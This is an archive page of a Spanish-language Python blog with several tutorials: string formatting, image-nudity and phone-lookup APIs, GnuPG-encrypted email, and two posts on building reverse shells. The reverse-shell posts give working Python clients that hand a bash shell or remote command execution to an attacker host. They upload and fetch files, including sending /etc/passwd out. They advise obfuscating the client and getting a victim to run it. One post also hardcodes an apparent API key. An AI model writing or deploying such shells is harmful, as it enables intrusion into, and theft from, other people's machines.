jueves, 30 de enero de 2020

5 minutos o menos: Método Format() en Python - Formato de Cadenas en Python


“5 minutos o menos”, es una sección del blog, en la cual te enseño algo sobre Python, y que no duraras mucho en leer.
Hola amigos de internet. Mi nombre es Luis y les doy la bienvenida a Mi Diario Python.

En este articulo de "5 minutos o menos" analizaremos y veremos en acción el método format(), método que nos ayudara a controlar nuestras cadenas de texto.

Tratare de explicarlo de la manera mas dinámica y breve posible. Así que comencemos.

Resultado de imagen de string python"

¿Por que utilizar format()?

En muchas ocasiones debemos recibir datos ingresados por el usuario o datos extraídos de un archivo externo o una base de datos. Para poder controlar estos valores de manera adecuada y de una manera fácil de manejar, podemos utilizar el método format().

Veamos un ejemplo:

>>> username = input("Ingrese su nombre de usuario: ")
Ingrese su nombre de usuario: Luisito123 >>> text = "¡Bienvenido {}!" >>> print(text.format(username))
¡Bienvenido Luisito123!

Como podemos observar, pude haber concatenado la variable directamente en la cadena de texto, pero en cambio utilizo el método format() y le paso como argumento la variable que quiero mostrar.
Fíjese que los corchetes vacíos indican donde irá el texto.

format() puede recibir más de un valor. Podemos agregar múltiples valores. Veamos un ejemplo:

>>> name = "Peter"
>>> lastname = "Parker"
>>> username = "La Araña Humana"
>>> text = "Mi nombre es {0} {1}. Pero mis amigos me dicen {2}."
>>> print(text.format(name, lastname, username))
Mi nombre es Peter Parker. Pero mis amigos
me dicen La Araña Humana.

Como podemos observar en esta ocasión hemos rellenado los corchetes con números. Igual que una lista, el método format distingue los valores contando desde 0. Esto aveces puede ser un poco confuso. Para ello podemos asignar nombres a nuestros indices. Veamos un ejemplo:

>>> text = "Mi nombre es {name} {lastname}."
>>> print(text.format(name="Walter", lastname="White"))
Mi nombre es Walter White.

Sin duda a veces lo más difícil de ,manejar son los números en cadenas de texto. Para ello podemos utilizar format(). La sintaxis no cambia. Veamos otro ejemplo:

>>> text = "Yo tengo {age}. Yo nací en el año {year}"
>>> print(text.format(age=20, year=2000))
Yo tengo 20 años. Yo nací en el año 2000.

Fácil ¿No crees? Sin duda algo muy sencillo, que todo desarrollador Python debería manejar.

Alguna duda. No olvides dejar tu comentario.

Sin más nada que decir. Mi nombre es Luis y fue un placer compartir mis conocimientos con todos ustedes :D.
Seguir Leyendo

lunes, 13 de enero de 2020

Crea tu primera "Reverse shell" en Python :D - Parte 2

En la parte anterior les mostre que tan fácil era crear una "Reverse shell", pero siendo sincero carecia de muchos aspectos, cómo por ejemplo "La subida o baja de archivos" que es algo fundamental para llevar a cabo una post-explotación.

Hoy les enseñare dos cosas, la primera es una herramienta que creé hace poco tiempo y es perfecta para esta explicación y la segunda es que nos basaremos en ella.

Quize implantar lo que para mi opinión es lo relevante en una shell inversa, cómo por ejemplo:

  • Multiplataforma: No quiere decir que tenemos que crear miles de lineas para hacerla accesible a todas las plataformas existentes, pero sí a las que vayamos a atacar, cómo "Windows" o "Linux".
  • Subida y Bajada de archivos: Es lo más importante porque nos permite ingresar más malware en el sistema comprometido y más inteligente que una simple shell.
  • Acceso a directorios: Hay shell's que carecen de acceso a directorios porque no tienen esa funcionalidad implementada, se le llaman shell's tontas, aunque las shell's tontas abarcan un poco más de limitaciones cómo que no es similar a la shell del sistema en cuánto a funcionalidades.
  • Re-conexión: ¿Qué pasá si hay un corte de luz? ¿Sí hay un problema en la conexión? ¿De forma no intencional matamos el proceso? o un viaje de problemas que seguro se nos produciran, para evitar lo antes mencionado es mejor que la máquina comprometida se trate de conectar a nuestro servidor de forma constante, pero OJO hay que tener cuidado porque el AV nos puede detectar.
  • Sin librerías de terceros: ¿Por qué no?, simplemente porque no le vamos a decir a la victima "Oye permiteme descargar unas librerias para después tener acceso a tu sistema ¿Vale? -No, no hay problema es un gusto que me hagan compañia-" La idea es hacer lo menos posible para "pasar desapercibidos" y aclaro que siempre abran registros sobre lo que se hace.
 Puede que haya muchas más caracteristicas que no les mencioné, cómo evitar las señales SIGTERM u otra señal que nos pueda matar el proceso de la shell en la máquina infectada, pero eso lo verán en otra ocasión.

Bien, cómo siempre me gusta aclarar algunas cosas y aunque parezca aburrido esa parte teorica es mejor que lo tengan en la cabeza hasta la muerte porque si ponen en practica esos aspectos pueden construir una barbaridad. Ahora, comencemos con la practica... perdón el código.

Antes que nada, quiero aclarar que el código de la shell que nos basaremos está en mi repositorio de Github: https://github.com/DtxdF/Miindeath; no obstante crearemos un código nuevo siguiendo la mayoria de pautas aclaradas pero que no será susceptible a errores simplemente porque no quiero extender la explicación para que sea superflua.

Aquí les lanzo el código *Atajen*:

#!/usr/bin/env python3

import socket
import requests
import sys
from urllib3 import disable_warnings; disable_warnings()
from os import chdir
from os.path import basename
from subprocess import getoutput

RHOST = "localhost"         # Host remoto
RPORT = 8043                # Puerto remoto
WHOST = "http://localhost"  # Dirección del servidor HTTP (Web)
WPORT = 8080                # Dirección del puerto HTTP (Web)
CFILE = "upload.php"        # El archivo que controlara los datos de subida

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
sock.connect((RHOST, RPORT))

while (1):
    recv = sock.recv(1024).decode().strip().split()

    if (len(recv) <= 1):
        sock.send(("Sintaxis: ", "\n").encode())
        continue

    cmd = recv[0].lower()
    data = ' '.join(recv[1:])
    
    if (cmd == 'cd'):
        chdir(data)
    
    elif (cmd == 'download'):
        requests.post('%s:%d/%s' % (WHOST, WPORT, CFILE), verify=False, data={
            'filename':data,
            'content':open(data, 'rb').read()

            })

    elif (cmd == 'upload'):
        open(basename(data), 'wb').write(requests.get('%s:%d/%s' % (WHOST, WPORT, data), verify=False).content)

    elif (cmd == 'shell'):
        sock.send(getoutput(data).encode())

    elif (cmd == 'exit'):
        sys.exit(1)

    else:
        sock.send(('No se encuentra el comando: "%s"' % (cmd)).encode())

    sock.send(b'\n')

Ahora pasemos a la explicación, dónde dividire cada bloque (a mi manera) para que se pueda entender mejor (Solo lo haré con los que pueda causar más interrogantes).

import socket
import requests
import sys
from urllib3 import disable_warnings; disable_warnings()
from os import chdir
from os.path import basename
from subprocess import getoutput

En este bloque importamos todas las librerías necesarias para crear nuestra shell, sin embargo aquí yo me salí un poco de lo que se debe hacer e incluí una librería de terceros (requests), simplemente porque es más fácil dar la explicación.

Cabe notar que importe de "urllib3" la función "disable_warnings" para cuando que cada vez que nos conectemos a un servidor HTTP no nos presente una advertencia de que el certificado no es válido.

RHOST = "localhost"         # Host remoto
RPORT = 8043                # Puerto remoto
WHOST = "http://localhost"  # Dirección del servidor HTTP (Web)
WPORT = 8080                # Dirección del puerto HTTP (Web)
CFILE = "upload.php"        # El archivo que controlara los datos de subida

En este apartado vemos variables cuyo significado simplemente es la configuración, aunque dando una explicación más descriptiva:

  • RHOST: El host al que se conectara la máquna victima
  • RPORT: El puerto del servidor
  • WHOST: La dirección del servidor HTTP (Web)
  • WPORT: El puerto del servidor HTTP (Web)
  • CFILE: Es el archivo que reside en el servidor HTTP (Web) para controlar los datos que se suben (Ya explicare eso acontinuación)
Nota: Tal vez se pregunten "-¿Por qué necesitamos un servidor HTTP para transferir archivos cuando ya estamos creando uno?-, la respuesta es simple, por los hosting gratis o los servidores web que controlemos y también porque si es un archivo de gran tamaño es mejor almacenarlo en su servidor remoto"
 
Ahora analicemos el bucle 'while' poco a poco:

recv = sock.recv(1024).decode().strip().split()

Aquí hacemos referencia en la variable 'recv' el dato recibido que tendra en el buffer un bloque de '1024' bytes, posteriormente se descodificara con el método '.decode()' (Ya que está en bytes), luego quitara los caracteres cómo nueva linea '\n' y el retorno de carro '\r', por ejemplo, con el método '.strip()' y por último separa todos los caracteres que estén separados por un espacio con el método '.split()'.

if (len(recv) <= 1):
    sock.send(("Sintaxis:  ", "\n").encode())
    continue

cmd = recv[0].lower()
data = ' '.join(recv[1:])

En la primera liena de este segmento verifica que si tiene menos o es igual a 1 en longitud de la separación de 'recv', si es así le muestra un mensaje de cómo debe ser la sintaxis para realizar la operación; en la segunda linea el comando lo convertiremos en minúsculas con el método '.lower()' y la variable data se encarga de que todos los datos separados faltantes sean ordenamos cómo un string con separaciones.
Por último, los comandos que se podrán ejecutar:
if (cmd == 'cd'):
    chdir(data)
    
elif (cmd == 'download'):
    requests.post('%s:%d/%s' % (WHOST, WPORT, CFILE), verify=False, data={
        'filename':data,
        'content':open(data, 'rb').read()

    })

elif (cmd == 'upload'):
    open(basename(data), 'wb').write(requests.get('%s:%d/%s' % (WHOST, WPORT, data), verify=False).content)

elif (cmd == 'shell'):
    sock.send(getoutput(data).encode())

elif (cmd == 'exit'):
    sys.exit(1)

else:
    sock.send(('No se encuentra el comando: "%s"' % (cmd)).encode())
  • cd: Cambia de directorio con la función 'chdir' del módulo 'os'
  • upload: Sube un archivo desde el servidor web hacia la máquina infectada
  • download: Sube un archivo desde la máquina infectada al servidor web. Cabe notar que las claves que se encuentran en el diccionario del parámetro 'data' de la función 'post' son acorde a cómo están en el archivo de control (Ya cobrara sentido acontinuación)
  • shell: Ejecuta un comando
  • exit: Salir
Ahora lo más importante de todo es el uso y es realmente sencillo, pero aclaro que no es susceptible a errores por lo que tendremos que ser perfectos en todo.

Lo primero dejemos escuchando a netcat en el puerto '8043' o el que ustedes decidan pero deben tener en cuenta que tienen que colocar el mismo puerto tanto en 'netcat' cómo en el payload.

nc -lvvp 8043
Listening on 0.0.0.0 8043

Por último ejecutemos en la máquina victima la shell, en mi caso yo la llamaré 'shell.py'

python3 shell.py

Verán como se genera una conexión:

Listening on 0.0.0.0 8043
Connection received on localhost 36600

Ese puerto '36600' es el puerto remoto y eso se encarga el sistema operativo.

Ahora sí, viene lo bueno... Ejecutemos un comando del sistema remotamente:

Listening on 0.0.0.0 8043
Connection received on localhost 36600
shell whoami
root

Lo que me falta por mostrar es la subida y bajada de archivos, veamos como reliazarlo en un par de script's, aunque siendo sinceros nos tenemos que salir un poco de Python e ir con otro lenguaje 'PHP'.


Si lo sé, podemos hacerlo con Python con un poco de lineas más, pero hay que ser sinceros, la mayoria de hostings usan PHP (Los gratuitos) por defecto, aunque en la tercera parte voy a mostrarles cómo crear un servidor HTTP en minutos para realizar estas tareas sin depender de un hosting usando exclusivamente Python.
Por cierto, deben guardarlo dependiendo de la variable de configuración "CFILE", en mi caso "upload.php"
Ahora en nuestra shell ejecutemos el comando:
...
download /etc/passwd

Con ese comando subimos el archivo '/etc/passwd' al servidor Web

Nota: Quiero aclarar dos cosas, estoy en Linux (Aunque igual funciona para Windows con algunas diferencias insustanciales) y debes tener instalado PHP o Apache, en mi caso yo usaré php como servidor ejecutando el siguiente comando:

php -S 0.0.0.0:8080

Ahora descargamos un archivo cualquiera desde el servidor Web, por ejemplo "upload.txt":

upload upload.txt

Eso fue todo compañeros, espero les haya ayudado en algo, para la tercera parte crearemos un servidor Web para no depender de un hosting y será usando exclusivamente Python.

~ DtxdF
Seguir Leyendo

miércoles, 8 de enero de 2020

Detector de "Nudes" - Nudity Detection API en Python

Hola amigos de Internet. Mi nombre es Luis, y les doy las bienvenida a Mi Diario Python.

En los últimos años, la inteligencia artificial ha hecho grandes avances. Las tecnologías Machine Leaning y Deep Learning son ampliamente utilizadas en los últimos tiempos, con diversas aplicaciones.

En este blog hemos hablado mucho sobre el Machine Leaning y sus aplicaciones. A continuación te dejo una lista con algunos de los artículos en donde hablamos sobre este tema:
La idea de poder enseñarle a una computadora es muy interesante, y muy útil. La posibilidad de automatizar tareas, dándole información a nuestra computadora, es algo que nos ayudara en muchos casos. Por ejemplo clasificar correos spam, clasificar grandes cantidades de datos, o detectar imágenes que no sean aptas para todo publico. Son situaciones, que podemos hacer a mano, pero que no seria tan productivo como enseñarle a nuestra maquina.
Sin duda el procesamiento de imágenes es uno de los temas que más llama la atención. 

Por eso en este articulo te mostrare la API Nudity Detection, una API que utiliza aprendizaje automático para clasificar imágenes. Esta API nos ayudara a detectar imágenes en donde aparezcan personas desnudas (ya saben, esas imágenes que tanto nos gustan). Esto puede ser muy útil en el caso de que tengamos un blog, o un foro, en donde cualquiera puede publicar contenido. Esto nos podrá ayudar a filtrar las imágenes que se publiquen. 

Quiero aclarar que esto es solo una prueba de lo que se puede hacer con el aprendizaje automático. Podemos tomarlo como ejemplo para desarrollar nuestros propios proyectos. Como dicen, "la imaginación es nuestro limite" (o algo así).

Así que sin más preámbulos e introducciones, comencemos. 

Antes de poner a funcionar la API, vemos brevemente algunos temas claves.

Servicios Web

Todos deberíamos de conocer las API o los servicios web. Tenemos artículos en donde hablamos sobre ellos y los ponemos en practica. Te invito a que les des un vistazo.

Clasificación de Imágenes:

Por ultimo, te invito a leer los siguiente artículos. En donde hablo sobre la detección de patrones en imágenes y el reconocimiento de rostros.


Nudity Detection API


Resultado de imagen para nudity detection

"Este programa evalúa una imagen y determina la probabilidad de que contenga desnudos. Como la desnudez es una etiqueta dinámica, el algoritmo devuelve un valor porcentual verdadero o falso. Dado que las aplicaciones pueden tener diferentes interpretaciones y niveles de lo que considerarían desnudo, simplemente puede establecer un umbral en su aplicación antes de marcar". Descripción oficial de la API.

Como nos describe el desarrollador, el algoritmo nos devolverá un valor porcentual. Es decir que cuando yo ingresa la imagen, el algoritmo me dará un porcentaje de la probabilidad de que esa foto contenga un desnudo (true) y la probabilidad de que no lo contenga (false). ¿No entendiste? No te preocupes, solo hay una forma de entenderlo. Es hora de probar la API.

Aclaración: por razones obvias, no mostrare la imagen de prueba, así que se los dejo a su imaginación.

El script es muy sencillo. Aquí te lo dejo:
# importamos el modulo "requests" para las solicitudes web
 import reque`enter code here`sts
 
 # URL de la API
 url = "https://macgyverapi-nudity-detection-v1.p.rapidapi.com/"
 
 # Ingresamos los datos. LA key y el ID. Y la ruta o URL de la imagen a clasificar.
 payload = "{\"key\": \"free\",\"id\": \"8E5q5T2p\", \"data\":{\"image\":\"http://i.imgur.com/4hGni1I.jpg\"}}"
 
 # Definimos los headers. El host y la API Key de prueba. Y formato del contenido.
 headers = {
     'x-rapidapi-host': "macgyverapi-nudity-detection-v1.p.rapidapi.com",
     'x-rapidapi-key': "a98b66cd95msh73da5f850f513f6p1469c7jsnb79525408f32",
     'content-type': "application/json",
     'accept': "application/json"
     }
 
 # Enviamos la petiión a al servicio web con todos los datos definidos.
 response = requests.request("POST", url, data=payload, headers=headers)
 
 # Mostramos en pantalla la respuesta en formato texto.
 print(response.text)
Como pueden observar, es muy sencillo. Utilizamos el modulo "request" para las peticiones web. Definimos los datos. Entre ellos la URL de la imagen, recuerda puedes utilizar la imagen que tengas, solo debes cambiar la URL. Por ultimo realizamos la petición con request.
Y obtenemos el resultado. 

Resultado:
{"true":"0.990229", "false":"0.00977059"}
Como podemos observar, el resultado nos indica que la probabilidad de que en la imagen si haya una persona desnuda es del 99%. Por lo que lo más probable es que en la imagen hay una persona mostrando la belleza de su cuerpo.

Muy bien, como pueden ver es muy sencillo. La verdad, es un ejemplo muy sencillo. Esta API es muy simple, así que si quieres implementar esta funcionalidad a un proyecto, te sugiero buscar una API más completa. Hay cientos de APIs de este tipo. Escogí utilizar esta por que era la más simple, y es gratis.

Te invito a que hagas tus propias pruebas. Cambia la imagen, has cientos de pruebas, con todas las imágenes que quieras.

Pregúntate ¿Que pasaría si lo implemento a una web? ¿Y se hiciera una API igual pera para censurar noticias falsas, o imágenes de cadáveres? Bueno, no lo se. Lo importante es que pruebes, experimentes, y seas capaz de crear tus propias APIs, quien sabe, tal vez la próxima API que pruebe en este blog se la tuya.

¿Alguna duda? ¿Alguna sugerencia? Dejanos tu coentario y con mucho gusto te responderemos.
Sin más nada que decir. Mi nombre es Luis, y fue un placer compartir mis conocimiento con todos ustedes :D.
Seguir Leyendo

jueves, 5 de diciembre de 2019

Crea tu primera "Reverse Shell" en Python :D

Reverse Shell en Python:

A menudo de este universo, y no sólo el de Python, también el de la Seguridad Informática, hemos tenido la oportunidad de conocer un poco los "jugueticos" que utilizan los ciber-delincuentes. Entre ellos está la famosa "Reverse Shell" o "Shell Inversa".

¿Qué es una Shell Inversa?:

En primer lugar necesitamos conocer que es una Shell para proseguir. Es sencillo, una shell es un programa informático que puede servir como interfaz con los servicios del sistema que éste nos proporcione.

Por lo tanto, conociendo esta sencilla definición, debemos conocer algo sobre el mundo de las conexiones, pero sí no entiendes nada, te dejo un pequeño modelo llamado "Cliente-Servidor" que es el que se usa mayormente en las shell's.

Una explicación muy simple de este modelo sería que el cliente lo único que desea es conectar para enviar y recibir datos, pero lo que hace que varie es el protocolo utilizado, por ejemplo, usando el protocolo HTTP tú puedes visualizar esta página usando un navegador (Cliente) que se conecta a pythondiario.com (Servidor).

¿Cómo entra este modelo en el tema?. Hay dos tipos de conexiones para lograr un ataque exitoso, el inverso y el directo. El inverso es recomendable y lo tocaremos en este artículo, aunque dando una sencilla explicación "es cuando la victima se conecta a nosotros", mientras que el directo, es el proceso contrario, tendremos que conectarnos a la máquina victima.

Una conexión directa en este tema, tiene una ventaja, la persistencia es un poco más fácil, ya que lo único que tenemos que hacer es conectarnos cuando deseemos.

Espero te haya quedado claro, no quiero ampliar mucho todo el tema porque es innecesario hacerlo, me estaria desviando del tema principal. Ahora sí, comencemos...

Creando nuestra primera "Reverse Shell" en Python

Bien, es sencillo usando este lenguaje de programación, lo único que debemos tener en cuenta son el uso de "Sockets" y los "Descriptores de archivo".

Primero hablemos de los sockets. Imaginense que una persona tiene una cuerda atada a una mano y se la envía a otra persona con el fin de comunicarse (magicamente); algo así pasa en los sockets, un cliente necesita comunicarse con un servidor y este simplemente se conecta, claro sí deseamos seguir un protocolo especifico cómo les indique HTTP, en la metáfora de la cuerda podria decirse que el protocolo sería la forma en que se lanza y se amarra la cuerda al otro extremo.

Ahora hablemos de los descriptores de archivo. Hay tres flujos en la Entrada y Salida (E/S o en Inglés I/O), estos son llamados:

STDIN (Standard Input): Es la entrada de los datos. Puede ser enviada por un teclado o por cualquier dispositivo físico o electrónico que desea comunicarse con el programa en espera.
STDOUT (Standard Output): Es la salida de los datos, cómo el resultado de una operación mayormente exitosa.
STDERR (Standard Error): Es la salida de los datos, pero está vez cuando es causada por un error.

Aunque el "STDEER" puede ser redireccionado en "STDOUT", no debería realizarse de esta manera, porque un sistema que sea capaz de leer e interpretar las dos salidas no sabra quien es qué.

Ahora te preguntas: ¿Por qué necesito aprendeme ésto?; Es necesario, porque sí deseas saber cómo funciona el mundo de redes "Aprendes Sockets" y en nuestro caso que queremos ampliar el conocimiento necesitamos aprender sobre los descriptores de archivos que no sólo son aplicados para estos casos, también se pueden observar en un Sistema Operativo GNU/Linux.

Ya dejemos de tanta teoria pasemos a la practica... perdón al código:

Lo primero que haremos será crear un cliente que se conecte a nuestro servidor y envié una shell interactiva:


# Importamos la librería estandar para usar sockets
import socket
# Importamos la librería subprocess para interactuar con los sub-procesos creados
from subprocess import Popen

# RHOST (Remote Host), es la dirección IP/Nombre de host
# a la que se conectara la victima, osea nuestro servidor
RHOST = 'localhost'
# RPORT (Remote Port), Es el puerto que estará escuchando
# en nuestra máquina
RPORT = 8043
# La shell a enviarnos; en la ejecución de un sub-proceso
# con la librería subprocess se usa un array para indicar un
# parámetro.
SHELL = ['/bin/bash', '-i']

# Creamos una nueva instancia y luego definimos que usaremos
# la familia IPV4 (AF_INET) por el protocolo de transporte TCP
# (SOCK_STREAM).
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Conectamos
sock.connect((RHOST, RPORT))
# Nos indica los descriptores, en caso de fallo es "-1" y mayormente
# es 3 en caso de éxito.
descriptor = sock.fileno()
# ¿Recuerdan los descriptores?
Popen(SHELL, stdin=descriptor, stdout=descriptor, stderr=descriptor)


Listo, con lo mostrado anteriormente tendriamos una conexión inversa y un control desde la máquina victima hacia nosotros, el atacante. Aunque hay no se queda la cosa; para poder recibir datos necesitamos un servidor, pero no hay nada de malo en salirnos un poco de Python e interactuar con las herramientas del sistema. Usaremos "Netcat" cómo apoyo:

nc -lvvp 8043
listening on [any] 8043 ...

Bien, una vez tenemos todo listo, lo que debemos hacer es compilar a un ejecutable, ofuscarlo o simplemente dejarlo así, para enviarselo a la victima y que lo ejecute para tener control.

En mi caso lo dejare así y veo la prueba:


Eso funciona bien en Linux, pero hay algunos inconvenientes:

  • TAB no funciona
  • En el caso de usar las teclas «LEFT» «RIGHT» «UP» y «DOWN» no funcionara
  • CTRL-C, matas a Netcat, no a un proceso generado en la máquina victima
  • CTRL-Z, pausas Netcat, no un proceso generado en la máquina victima
  • ...
Hay varios inconvenientes, pero yo me sé la solución y es muy fácil, pero necesitare su apoyo para seguir con una segunda parte y explicar cómo sería el proceso en Windows.
Seguir Leyendo

lunes, 5 de agosto de 2019

Extraer información de teléfono con Python

Extraer información de un teléfono con Python

Muchas veces nos preguntamos: "¿De que parte del universo sera esté teléfono?", incluso si ya sabemos donde queda, pero no sabemos que operadora. Déjame decirte que en este pequeño tutorial te voy a enseñar como extraer información de un teléfono por medio de una API con Python.

Para el uso de la API es necesario registrarse en "numverify", sin embargo, tenemos a la suerte de nuestro lado "ES GRATIS!", con limitaciones, por supuesto; No podrás usar más de 250 veces. ¿Eso es un problema?, NO!, mayormente solo la usaremos para extraer algunos números de teléfonos o pruebas, así que no se preocupen.

Una vez registrados, en la página de inicio en nuestra sesión, nos mostrara nuestra clave de API. La copiaremos y usaremos la siguiente sintaxis:
http://apilayer.net/api/validate?access_key=<Nuestra clave de API>&number=<Número de teléfono>&country_code&format=1
 Incluso si no eres de este planeta o de está realidad alterna y, no tienes Python instalado en tu sistema; Usa simplemente tu navegador!.

A lo que vinimos, esta vez usemos la librería "requests", para hacer una petición a la API y manipular los datos con facilidad.
# -*- coding: UTF-8

import requests

# Información

api_key = 'Aquí su Clave de la API'
number = 'Aquí el número de teléfono'

# Petición

data = requests.get("http://apilayer.net/api/validate?access_key=%s&number=%s&country_code&format=1" % (api_key, number))

for key, value in data.json().items():

    print("%s: %s" % (key, value))
Con eso será suficiente para que puedan ver una dosis de información de un teléfono en especifico. Espero les sea de utilidad y que disfruten programando en cualquier lenguaje, me despido.

- DtxdF
Seguir Leyendo

martes, 23 de julio de 2019

Tutorial como enviar correos con el estilo de Edward Snowden en Python (Parte 2)

Tutorial como enviar correos con el estilo de Edward Snowden en Python (Parte 2)


En la parte uno (1) nos quedamos boquiabiertos con la facilidad en la que se podían cifrar datos usando python junto GnuPG ahora venimos con la segunda (2) parte para aclarar más métodos que nos brinda este herramienta y para un extra enviaremos el mensaje cifrado a nuestra propia bandeja de entrada.

En algunas entradas de este blog ya se abarco sobre como enviar un mensaje por correo electrónico a través de python, sin embargo yo les quiero facilitar el trabajo. Me tome la molestia de crearles un modulo que no solo lo pueden usar para este ejemplo sino también para sus script's/programas propios.

El modulo lo pueden encontrar en mi repositorio de Github: "floppy - (https://github.com/DtxdF/floppy)".

Comencemos ...


Primero lo primero, descarguemos Floppy:

git clone https://github.com/DtxdF/floppy.git o Si no tenemos Git instalado descarguemos el zip entrando directamente desde nuestro navegador

Acedemos:

cd floppy

Ejecutamos python e importemos lo que necesitamos:

python

# -*- coding: UTF-8 -*-

import gnupg, floppy

# Ajustamos las variables:

gpg = gnupg.GPG()

# Variables de GnuPG

recipient = 'correo@dominio' # Recuerden una de las maneras para identificar las llaves de GnuPG es con la dirección del correo pero que tenemos importada en GnuPG, NO! la del correo electronico

# Variables relacionadas con el cliente

mensaje = 'Aquí iría tu mensaje'
mensaje = str(gpg.encrypt(mensaje, recipient).data)
asunto = 'Aquí nuestro asunto '
destinatario = 'correodeldestinatario@dominio.com' # En este caso como es una practica usemos el nuestro

# Variables para loguearnos y del servidor

email = 'nuestrocorreo@dominio.com'
passwd = 'nuestra contraseña'
smtp_server = 'el servidor SMTP que usaremos' # Si tienen una cuenta de GMAIL use: "smtp.gmail.com"
smtp_port = Puerto # Atentos!, el valor debe ser tipo entero (osea un número o en python int). En GMAIL es 587

smtp = floppy.smtp_interact(email, passwd, smtp_server, smtp_port)
smtp.connect()
smtp.login()
smtp.add_message(mensaje)
smtp.sendmail(destinatario, asunto)
smtp.close()

print("Hecho!")

Verifiquemos nuestra bandeja de entrada ...



Métodos de GnuPG

 Tal vez te preguntes "'¿Para esto nos emocionaste?", NO!, no solo para eso, también quiero que sepan los demás métodos de GnuPG para que aprovechen todo el potencial y puedan crear sus propios programas/script's de una forma eficaz.

Como ven ya hemos aprendido dos cosas: 1.- Cifrar datos; 2.- Enviarlo por correo electrónico; ¿Porque no aprender hasta tres cosas?:

Antes de continuar hay que aclarar:
  • data: Los datos/string/mensaje a usar
  • passphrase: Frase de contraseña
  • verify: Permite verificar datos en caso de un intento de suplantación o modificación involuntaria
  • amor: Permite imprimir/almacenar los datos en un formato legitimo
  • symmetric: Cifrar los datos con un algoritmo de cifrado simetrico (El cifrado simétrico quiere decir que hay solo una contraseña para cifrar y descrifrar, contrario al caso de asimétrico)
  • always_trust: Siempre confía en que es una identidad legitima, ya que es interesante como GnuPG tiene algo llamado un circulo de confianza que aumenta cada vez que agreguemos y verifiquemos una nueva llave
  • sign: Permite firmar los datos
  • recipient: El identificador de la clave pública de GnuPG
  • keyid: Prácticamente igual que recipients, solo que este acepta el identificador/id de la clave pública siendo este no un correo electrónico y se usa en otros métodos de GnuPG que ya les mencionare.
  • secret: En algunos métodos que veremos necesitamos acceder a las llaves secretas
  • expect_passphrase: En caso de que quieras exportar claves secretas es necesario que uses el parámetro passphrase, con este método puedes especificar si se requiere que se introduzca o no la frase de contraseña

import gnupg

gpg = gnupg.GPG()

Cifrar/Descifrar

gpg.encrypt(data=str, recipients=str, **kwargs)

o

gpg.encrypt(data=str, recipients=str, passphrase=str, sign=bool, symmetric=bool)

Nota: El parámetro passphrase se usa cuando el parámetro symmetric o sign le pasamos como argumento True
gpg.decrypt(message=str, **kwargs)

o

gpg.decrypt(message=str, passphrase=str, verify=bool, always_trust=bool)

Firmar/Verificar:

gpg.sign(message=str, **kwargs)

o

gpg.sign(message=str, keyid=str, passphrase=str)

Para verificar el mensaje firmado:

gpg.verify(data=str, **kwargs)

o

gpg.verify(data=str, keyid=str, passphrase=str)

Exportar/Importar:

gpg.export_keys(keyids=str, secret=bool, armor=bool, minimal=bool, passphrase=str, expect_passphrase=bool)

o

gpg.import_keys(key_data=str)

Fin ...

Quiero que experimenten, que se sumerjan en los sombríos y truculentos métodos y atributos que nos ofrece GnuPG. Usen la función dir(...) y help(...) como sus mejores amigos; Si requieren un tercer mejor amigo seré yo, pero tienen que comentármelo y por último si quieren una tercera (3) parte les enseñare como usar Tor en su cliente pero nuevamente les digo, déjenme su comentario para saberlo y preparar otra entrada.

Si necesitan leer más acerca del binario GPG, pueden hacer con la documentación en español: "GPG - (https://gnupg.org/gph/es/manual.html)

Seguir Leyendo

sábado, 20 de julio de 2019

Tutorial como enviar correos con el estilo de Edward Snowden en Python (Parte 1)

Tutorial como enviar correos con el estilo de Edward Snowden en Python (Parte 1)


Muchas veces hemos escuchado o leído en la red de redes, casos inimaginables sobre personas que se atreven a sacrificar parte de su vida solo para que nosotros podamos ver la verdad. Verdad que por el control total de empresas poderosas o agencias gubernamentales nos frenan a que podamos percibirla.

En esta entrada te hablare de una persona y un método que uso para enviar un correo electrónico a su confidente:


Ese mis queridos lectores es "Edward Snowden", un consultor tecnológico estadounidense, informante, antiguo empleado de la CIA (Agencia Central de Inteligencia) y de la NSA (Agencia de Seguridad Nacional).

Famoso por que en junio de 2013, Snowden hizo públicos, a través de los periódicos The Guardian y The Washington Post, documentos clasificados como alto secreto sobre varios programas de la NSA, incluyendo los programas de vigilancia masiva PRISM y XKeyscore.

En esta entrada yo les quiero enseñar un método que uso Snowden para que no pudieran leer los mensajes de correo electrónico pero usando el todopoderoso lenguaje de la serpiente "Python".

GNUPG (GNU Privacy Guard)

Es una herramienta de cifrado y firmas digitales desarrollado por Werner Koch, que viene a ser un reemplazo del PGP (Pretty Good Privacy) pero con la principal diferencia que es software libre licenciado bajo la GPL. GPG utiliza el estándar del IETF denominado OpenPGP.

Esta herramienta nos servira para poder tener confidencialidad punto a punto, lo que quiere decir es que los únicos que podrán ser lectores de los mensajes, son el receptor y transmisor.

Sistema de clave pública o asimétrico

No pudiera morir en paz si no les explicara esto ya que es necesario para que entiendan GPG. La criptografía asimétrica también llamada criptografía de clave pública o criptografía de dos claves, es el método criptográfico que usa un par de claves para el envío de mensajes. Las dos claves pertenecen a la misma persona que recibirá el mensaje. Una clave es pública y se puede entregar a cualquier persona, la otra clave es privada y el propietario debe guardarla de modo que nadie tenga acceso a ella. Además, los métodos criptográficos garantizan que esa pareja de claves sólo se puede generar una vez, de modo que se puede asumir que no es posible que dos personas hayan obtenido casualmente la misma pareja de claves.

Un ejemplo típico que se encuentra en internet pero es muy bueno para aclarar es el siguiente: Imagina que tienes un caja fuerte abierta que te envío tu amigo Josef, en esa caja tu introducirás y cerraras con un mensaje que contenga "Hola!", lo envías por un bote para que le llege a Josef, este lo abre y lo lee. El único que conoce la combinación de la cerradura es Josef por lo tanto el único que puede ver el contenido.

Que empiece el juego ...


Ahora si como dice el titulo de la entrada les mostrare como enviar mensajes por correo electrónico, aunque debo aclarar que esto es algo más que un simple envío por correo, ya que podrás hacerlo hasta usando los principales medios de comunicación.

Un resumen de toda la explicación es que necesitaremos:


  1. Dos claves: Una Pública y Una Privada
  2. Pública: Se la envías a el que quieras que te envíe un mensaje cifrado
  3. Privada: La tendrás y nunca la revelaras
  4. Necesitamos la clave pública de la persona que queremos enviar el mensaje. En mi caso y también en el tuyo para este ejemplo usa tu misma clave pública

Instalación:

Quiero aclarar que puede funcionar en "Windows", pero es recomendable usar cygwin o WSL (Windows Sub-System for Linux), ya que si usamos e instalamos GNUPG desde python en Windows tendremos errores por parte de la aplicación:

# Primero instalamos GNUPG en nuestra distribución/Sistema operativo y luego lo instalamos para python

sudo apt-get install gpg
sudo pip install python-gnupg

